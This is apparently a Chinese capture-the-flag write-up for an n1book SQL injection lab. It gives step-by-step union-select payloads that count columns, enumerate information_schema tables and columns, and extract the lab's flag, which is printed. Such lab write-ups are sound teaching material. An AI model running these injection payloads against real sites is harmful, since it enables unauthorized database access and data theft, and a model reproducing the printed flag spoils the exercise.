一、判断注入类型
二、猜解列名数量(字段数)
?id=1' order by 1%23

发现4,页面不正常,所以字段数为1,2,3
三、查看报错位(报错位:2和3)
?id=123' union select 1,2,3 %23

四、信息收集
1、数据库名称:database()
得到数据库名称:note

2、表的信息
?id=123' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema='note'%20%23
得到两个表:fl4g,notes
我们要找flag,猜测应该在fl4g表里面

3、列的信息
?id=123' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='fl4g' %23
得到列:fllllag

4、获取数据
?id=123' union select 1,database(),group_concat(fllllag) from note.fl4g %23

n1book{union_select_is_so_cool}
本文详细描述了一个SQL注入攻击的过程,从判断注入类型到猜解列名数量,再到查看报错位置和信息收集。通过注入技巧,获取了数据库名称、表名及列名,并最终揭示了敏感数据。示例中展示了如何利用`UNION SELECT`从`note`数据库的`fl4g`表中提取信息,揭示了数据`n1book{union_select_is_so_cool}

1208

被折叠的 条评论
为什么被折叠?



